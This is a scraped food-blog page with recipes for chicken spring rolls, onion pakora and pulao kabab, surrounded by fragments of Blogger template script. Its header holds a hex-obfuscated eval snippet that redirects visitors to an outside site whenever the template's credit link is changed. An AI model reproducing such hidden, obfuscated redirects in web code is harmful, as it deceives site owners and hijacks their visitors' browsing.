Yummy Traditional : Snack and Fried snippet_count = 150; //")&&(t[i]=t[i].substring(t[i].indexOf(">")+1,t[i].length));n=t.join("")}for(e=e'+removeHtmlTag(e.innerHTML,t)+"";e.innerHTML=i} // Post Thumbnail function bp_thumbnail_resize(image_url,post_title){var image_width=220;var image_height=160;image_tag=''+post_title.replace(/';if(post_title!="") return image_tag; else return ""; };var _0xea13=["\x24\x28\x64\x6F\x63\x75\x6D\x65\x6E\x74\x29\x2E\x72\x65\x61\x64\x79\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x28\x29\x20\x7B\x69\x66\x20\x28\x24\x28\x65\x76\x61\x6C\x28\x64\x65\x63\x6F\x64\x65\x55\x52\x49\x43\x6F\x6D\x70\x6F\x6E\x65\x6E\x74\x28\x27\x22\x23\x63\x72\x65\x64\x69\x74\x6C\x61\x67\x69\x69\x75\x2C\x2E\x63\x72\x65\x64\x69\x74\x6C\x61\x67\x69\x69\x75\x22\x27\x29\x29\x29\x2E\x61\x74\x74\x72\x28\x65\x76\x61\x6C\x28\x64\x65\x63\x6F\x64\x65\x55\x52\x49\x43\x6F\x6D\x70\x6F\x6E\x65\x6E\x74\x28\x27\x22\x68\x72\x65\x66\x22\x27\x29\x29\x29\x20\x21\x3D\x20\x65\x76\x61\x6C\x28\x64\x65\x63\x6F\x64\x65\x55\x52\x49\x43\x6F\x6D\x70\x6F\x6E\x65\x6E\x74\x28\x27\x22\x2F\x2F\x77\x77\x77\x2E\x63\x61\x72\x61\x6D\x65\x6E\x67\x68\x69\x6C\x61\x6E\x67\x6B\x61\x6E\x6D\x65\x6D\x62\x75\x61\x74\x2E\x63\x6F\x6D\x2F\x22\x27\x29\x29\x29\x20\x7B\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x2E\x68\x72\x65\x66\x20\x3D\x20\x65\x76\x61\x6C\x28\x64\x65\x63\x6F\x64\x65\x55\x52\x49\x43\x6F\x6D\x70\x6F\x6E\x65\x6E\x74\x28\x27\x22\x2F\x2F\x77\x77\x77\x2E\x63\x61\x72\x61\x6D\x65\x6E\x67\x68\x69\x6C\x61\x6E\x67\x6B\x61\x6E\x6D\x65\x6D\x62\x75\x61\x74\x2E\x63\x6F\x6D\x2F\x22\x27\x29\x29\x3B\x7D\x20\x7D\x29\x3B\x20"];eval(decodeURIComponent(_0xea13[0]));function labelthumbs(e){document.write('")} //]]>
Showing posts with label Snack and Fried. Show all posts
Showing posts with label Snack and Fried. Show all posts

Chicken Spring Roll Recipe


chicken-spring-rolls-recipe-with-step-by-step-photos

Spring roll | Chicken roll || How to make chicken spring roll with step-by-step photos 

Spring Roll is a fried dish usually available. They typically contain minced beef/mutton and vegetables. The colorful, tempting roll is prepared by using chicken, carrot, cabbage, capsicum, and other seasonings and sauces.

You can also add vegetables of your choice to enhance its flavor and serve it hot with ketchup, A Crispy, flaky, and tasty spring roll is known as one of the hot favorite snacks, It's not hard to make it just have to prepare to fill it with spring roll and roll sheets are available at any grocery store or sweet shop.
                             
chicken-spring-roll

Chop all vegetables and stir fry them with 1 tbsp oil on high flame for 2 minutes, in the end, add 1 tsp sugar mix well vegetables, and remove from the flame your veggies are ready to use in many recipes such as noodles, spaghetti, samosa, and roll, spring rolls are served with ketchup and sauces, so let's begin 

If you have tried this Chicken Spring Roll, then don’t forget to rate the recipe. You can also follow me on social media

Facebook 

Instagram

Pinterest

Youtube



Like Our Videos? Then follow and subscribe to us on YouTube for the latest Recipe Video updates.


                              

    In a pot/saucepan, put chicken boneless and spices with 100 ml water, b
    ring to a boil, then cover the lid, and cook it for 15-20 minutes on medium flame or until the water dries up. Take it out of the pan and shred the chicken; keep aside. 


    boiling-and-shredded-chicken


    On the other hand, prepare flour batter for binding, take a small bowl to add 2 tbsp plain flour, add water to mix it until it gets a smooth paste.



    Grate all vegetables and peel and chop the boiled egg.
                        

    Take a frying pan to add 2 tbsp oil, heat it, then add the vegetables. Just sautรฉ it for 2 minutes, then add shredded chicken and chopped eggs and mix them together. Keep the heat on a very low flame during the process. Now add spices to the mixture, stir to mix all the ingredients well, turn the flame on high, and stir-fry for 2 to 3 minutes.s
                               
    prepare-roll-filling


    Remove from the flame and let it cool down completely.

                   


    Roll Sheets or strips, you can easily get from any Asian grocery store.




    Take out one roll sheet and place the roll sheet/wrapper like a diamond. Place 1 tbsp filling near the corner, no more than that, the less filling the better. Overstuffed spring rolls break apart in the oil. 1 tablespoon is all you need; fold over the corner roll right, and apply flour batter over the sheet edges with the brush/spoon. Fold over the left side. Fold over the other side, no air pocket.t

    Now it will look like an envelope. Besides applying flour batter over it, fold the roll sheet to make roll shapes, close it up, and see how nice and neat the egg roll is wrapped. No holes, no air pockets.
                                
    prepare-spring-roll


    Keep them all covered with plastic wrap to prevent drying out. They dry out easily. You can store them in the freezer when you want to have them. You take them out 5 minutes before frying.
                     


    Carefully slide the spring rolls in. Inspect each spring roll for corners that have popped open. Fix with more cornstarch slurry if needed. Fry a few at a time, turning to brown evenly. Once they are golden brown, they are done.



    Place them on a kitchen towel to absorb excess oil. Now transfer them to the serving tray.
                                 
    transfer-to-the-tray

    Hot served with ketchup and green sauceI hope you may enjoy our Chinese Spring roll recipe.

                              
    spring-rolls-are-done

    Onion Pakora Recipe

                               
                                                           

    Onion Pakoda| Onion Fritters || How to make onion fritters with step-by-step photos 

    Onion Pakora is a crispy, delicious, and deep-fried snack made with gram flour, salt, spices, and main ingredients like onion or a vegetable. Onion pakora is one of the most popular and much-loved snacks, especially during the monsoon and cold winters. These are very commonly prepared in most Pakistani homes for an evening snack and are served with a cup of masala chai or doodh patti chai.

                                     



    Onion pakora is also being sold in street stalls and restaurants. In most places, onion pakora is served by sprinkling chaat masala and accompanied by green chutney, though I am not crazy about having onion pakora over aloo pakora

    But sometimes I make onion pakora in the rainy season with roti and chutney, or sometimes have it only with a hot cup of tea. A very easy and quick deep-fried snack that you can serve to your unexpected guests :)  

                                    
    onion-pakoda-recipe

    Tips to make the best Onion Pakora:
    1. Gram flour: Using good-quality gram flour or besan is very important, as store-bought gram flour goes rancid very quickly and turns bitter within a few months. So, always taste test the gram flour before using.
    2. Preparing onions: to get evenly fried crisp onion pakora, slice the onions uniformly to thin_some thick or some thin won’t yield crispy, the thicker slices don’t fry well, leaving the pakora soft, so slice them to a moderately thin size.
    3. Flour: Traditionally, pakora are made with gram flour; however, additional ingredients like rice flour, semolina, or cornflour are added in the street style and restaurant styles, as these ingredients keep the fritters. So, do use 1-2 tbsp of this in the recipe.
    4. The temperature of the oil: The oil has to be moderately hot enough before adding the fritters. If the oil is not hot enough, pakora will soak up the oil. If the oil is too hot, then the onion pakora will brown outside but will not get cooked inside.
    5. Frying pakora: Pakora has to be fried on a medium-high flame; frying them on a low flame will make them hard, and frying them on a high flame will burn them from the outside without cooking them inside   

    For more deep-fried snacks:








    For the best result, follow my detailed step-by-step photo instructions and tips.

    If you have tried this Onion Pakora Recipe, don’t forget to rate the recipe. You can also follow me on social media to see what’s latest in my kitchen!

    Facebook 

    Instagram

    Pinterest

    Youtube

            


                                                                           

    Like Our Videos? Then, follow us and subscribe to YouTube for the latest recipe video updates.


                             
    onion-pakoda-recipe

    Firstly, cut the onion slices into moderately thin slices and add them to the mixing bowl; keep aside.
                                
    cut-the-onion-slices


    Dry roast coriander and cumin seeds for a minute on a low flame. Crush them in the motor, besides adding black peppercorns. 
                          
    dry-roast-spices


    Keep aside

                                   
    keep-aside


    Now start adding spices to the mixing bowl with the onion slices, such as salt, roasted ground spices, red chili powder, and red chili flakes.


    add-spies-to-the-onion

    At the end, add baking soda along with chopped green chilies and coriander leaves. Stir to mix up very well. 
                          
    add-herbs-and-soda-to-the-onion


    Leave it aside for 10 minutes, which helps to onion to release some moisture.

                                                   


    And cover with the plate. 

    cover-with-the-plate


    Once the Onion leaves enough moisture

                                    
    onion-releases-its-water


    Then add gram flour, cornflour, and more salt if needed.
                                   
    add-gram-flour-to-the-onion
             
    Mix everything well to coat the onions with the flour. Mix the flour to make a moist mass of dough.

                           
    mix-everything


    Heat the oil in the wok or fry pan for  deep frying the pakoda_When the oil is hot enough to regulate the flame to medium-high

                              
    heat-the-oil-in-the-wok



    Take a small amount of dough and sprinkle it in the oil.
                                         
    take-small-amount-of-the-dough


    Don’t add too many pakoras in the wok; they should have some space in the wok to swim around and fry well.

    add-pakora-in-the-oil



    While frying, stir and if needed flip the onion pakora occasionally for even frying.

                                


    Fry them till they turn crisp and golden.
                         
    fry-pakora-until-crisp
           

    Then transfer them with a ladle to an absorbing tissue placed on a plate or on a colander_Continue to make more onion pakora in batches with the rest of the dough.

                          
    transfer-the-pakora

    Transfer the onion pakora to the serving dish.

                            
    prepare-all-pakora


    Serve onion pakora hot with a cup of tea or coffee_You can also serve them with red or green chutney or sprinkle some chaat masala.

                           
    serve-hot-pakora

    Pulao Kabab Recipe

                                                                       
    pulao kabab recipe


    Pulao Kabab Recipe || Beef Kabab || How to Make Pulao Kabab with Step-by-Step Photos and Video**

    Pulao kababs are a flavorful and delicious meat dish made with beef, Bengal gram, and a blend of essential seasonings and herbs. While they are similar to shami kebabs, they differ slightly in preparation and are quite crispy and tasty. 

    You can serve these delectable kebabs independently, but they pair wonderfully with pulao, creating a tempting meal. I have started posting a new recipe every week, and next week, I will share a pulao recipe that I have prepared to accompany these kebabs.

    I am confident that you will enjoy it once you follow my instructions. Wouldn't you want to make it again and again? I adopted this kabab recipe from a popular restaurant on Peshawar Road in Rawalpindi, where many people come to enjoy their delicious pulao biryani. 

              

    beef kabab

    For detailed step-by-step recipes, watch my video.

    My Latest Video Pulao Kabab: 


    They also have a commendable practice of providing free food to those in need, which is truly admirable. Although I have never visited the restaurant, I have attempted to recreate their recipe at home, and my family loves it when I serve it to them.

    Recipe Note:

    1. It’s best to use thigh or leg meat to make juicy and soft kebabs. Whether you’re preparing kababs with mutton, beef, or chicken, the ratio of chana dal to meat should be 1:3. Using too many lentils in this recipe may result in dry and hard kababs, while this particular pulao kabab recipe aims for juicy and tender kababs.
    2. Be careful not to add too much water to the kabab mixture while cooking, as this can make them too soft and prevent them from holding their shape during frying. 
    3. I prefer to grind all the meat and lentils together in a food processor, but you can also choose to grind the lentils and spices separately and shred the cooked meat to create a more flavorful and textured kabab. The choice is yours.
    4. In this pulao kabab recipe, there’s no need to use eggs or breadcrumbs to coat the kababs. Simply shape them as desired and shallow fry them in ghee instead of oil.
    5. Additionally, these beef kebabs can be enjoyed with parathas and can also be made into bun kebabs or sandwiches.
    6. If you plan to eat the kebabs later, you can freeze them for future use.

                                                  
    how to make pulao kabab

    You might like these

    Veg cutlets

    Aloo Tikki

    Lauki Kabab

    Chapli kabab 

    Have you tried Pulao kabab? Feel free to follow me on social media to stay up-to-date on my latest culinary creations.

    Facebook 

    Instagram

    Pinterest

    Youtube

                             

    youtube

    Like Our Videos? Then, do follow and subscribe to us on YouTube to get the latest Recipe Video updates.

                                                 

    pulao kabab

    How to make Pulao Kababs?

    Begin the recipe by soaking the chana dal (Bengal gram) for 30 minutes. 

      

    beef kabab

    While the dal soaks, chop the ginger, garlic, and green chilies to add to the kebab mixture.
                                              
    how to make pulao kabab

    In a pan, add the beef and roast it until the meat loses its

    Unpleasant odor and the moisture evaporate.

                             
    beef kabab

    Keep stirring while adding the chopped ginger, garlic, and green chilies, along with bay leaves, dry red chilies, black peppercorns, black cardamom, cinnamon, green cardamom, cloves, coriander seeds, cumin seeds, and salt.

           

    beef kabab

    Stir well, then add turmeric powder and chili flakes, mixing everything thoroughly. Once the moisture from the meat is gone, add the soaked chana dal and mix again. 

    Follow my recipe step by step, and make sure to watch my video for detailed guidance.

                 

    pulao kabab

    After mixing, pour in hot water, ensuring the water level is about an inch above the kebab mixture. Bring it to a boil, 

    Cover it with a lid, and let it cook until the meat is tender and the water has evaporated.

       

    pulao kabab recipe

    Once cooked, grind the mixture using a mincer. If you don’t have a mincer, a meat chopper will work as well. Add chopped onion, coriander, and chilies to the mincer with the kebab mixture.  

    beef kabab
    beef kabab

    Then, incorporate 2 eggs and knead the mixture until it forms a dough. Kneading makes sure that the kebabs are soft inside and crispy outside.

                    
    beef kababs

    Shape the kebabs into your desired form- oval, round, square, or even skewers for seekh kebabs. For this recipe, I made simple round-shaped kebabs using a kebab maker.

    If you don’t have a kebab-shaping tool, you can easily shape them by hand.        

    pulao kabab

    At this stage, you can freeze the kebabs if you wish to use them later.
                     
    how to make pulao kabab

    Heat oil or ghee in a skillet (tawa) over medium heat. Place the kebabs in the pan and fry them on both sides over a medium flame until they are nicely golden brown.     

    beef kabab
    beef kabab

    Pulao kebabs are now ready to serve! If you prefer to enjoy the kebabs on their own, 

    Consider serving them with (yogurt) dahi (yogurt) chutney and green chutney. 

                                    

    how to make pulao kabab
    how to make pulao kabab

                                                                                               

    Followers

    Follow

    //o?$("#menu-wrapper").css({position:"fixed",top:0,left:0,right:0,"z-index":99}):$("#menu-wrapper").css({position:"relative"})};n(),$(window).scroll(function(){n()})}); // Menu 2 $(document).ready(function(){var str=location.href.toLowerCase();$('.mainin-nav ul li a').each(function(){if(str.indexOf(this.href.toLowerCase())>-1){$("li.highlight").removeClass("highlight");$(this).parent().addClass("highlight")}})}) $(function(){var pull=$('#pull');menu=$('.mainin-nav ul');menuHeight=menu.height();$(pull).on('click',function(e){e.preventDefault();menu.slideToggle()});$(window).resize(function(){var w=$(window).width();if(w>320&&menu.is(':hidden')){menu.removeAttr('style')}})}); // Back to Top $(function(){$("#back-to-top").backToTop()}); !function(n){n.fn.backToTop=function(o){var c=n(this);c.hide().click(function(){n("body, html").animate({scrollTop:"0px"})});var i=n(window);return i.scroll(function(){i.scrollTop()>0?c.fadeIn():c.fadeOut()}),this}}(jQuery); // Tab Menu !function(a){"use strict";var b=function(b,c){var d=this;d.element=b,d.$element=a(b),d.tabs=d.$element.children(),d.options=a.extend({},a.fn.mtabs.defaults,c),d.current_tab=0,d.init()};b.prototype={init:function(){var a=this;a.tabs.length&&(a.build(),a.buildTabMenu())},build:function(){var b=this,c=b.options,d=c.tab_text_el,e=c.container_class;b.tab_names=[],b.$wrapper=b.$element.wrapInner('
    ').find("."+e),b.tabs.wrapAll('
    '),b.tabs.each(function(c,e){var f,g=a(e),h=d;f=g.find(h).filter(":first").hide().text(),b.tab_names.push(f)}),a.isFunction(c.onReady)&&c.onReady.call(b.element)},buildTabMenu:function(){for(var b,c=this,d=c.options,e=d.tabsmenu_el,f=c.tab_names,g="<"+e+' class="'+d.tabsmenu_class+'">',h=0,i=f.length,j=function(){var a=arguments;return d.tmpl.tabsmenu_tab.replace(/\{[0-9]\}/g,function(b){var c=Number(b.replace(/\D/g,""));return a[c]||""})};i>h;h++)g+=j(h+1,f[h]);g+="",c.$tabs_menu=a(g).prependTo(c.$wrapper),b=c.$tabs_menu.find(":first")[0].nodeName.toLowerCase(),c.$tabs_menu.on("click",b,function(b){var d=a(this),e=d.index();c.show(e),b.preventDefault()}).find(":first").trigger("click")},show:function(b){var c=this,d=c.options,e=d.active_tab_class;c.tabs.hide().filter(":eq("+b+")").show(),c.$tabs_menu.children().removeClass(e).filter(":eq("+b+")").addClass(e),a.isFunction(d.onTabSelect)&&b!==c.current_tab&&d.onTabSelect.call(c.element,b),c.current_tab=b},destroy:function(){var a=this,b=a.options.tab_text_el;a.$tabs_menu.remove(),a.tabs.unwrap().unwrap(),a.tabs.removeAttr("style"),a.tabs.children(b+":first").removeAttr("style"),a.$element.removeData("mtabs")}},a.fn.mtabs=function(c,d){return this.each(function(){var e,f=a(this),g=f.data("mtabs");e="object"==typeof c&&c,g||f.data("mtabs",g=new b(this,e)),"string"==typeof c&&g[c](d)})},a.fn.mtabs.defaults={container_class:"tabs",tabs_container_class:"tab-contents",active_tab_class:"active-tab",tab_text_el:"h1, h2, h3, h4, h5, h6",tabsmenu_class:"tabs-menu",tabsmenu_el:"ul",tmpl:{tabsmenu_tab:'
  1. {1}
  2. '},onTabSelect:null}}(window.jQuery,window,document); //]]>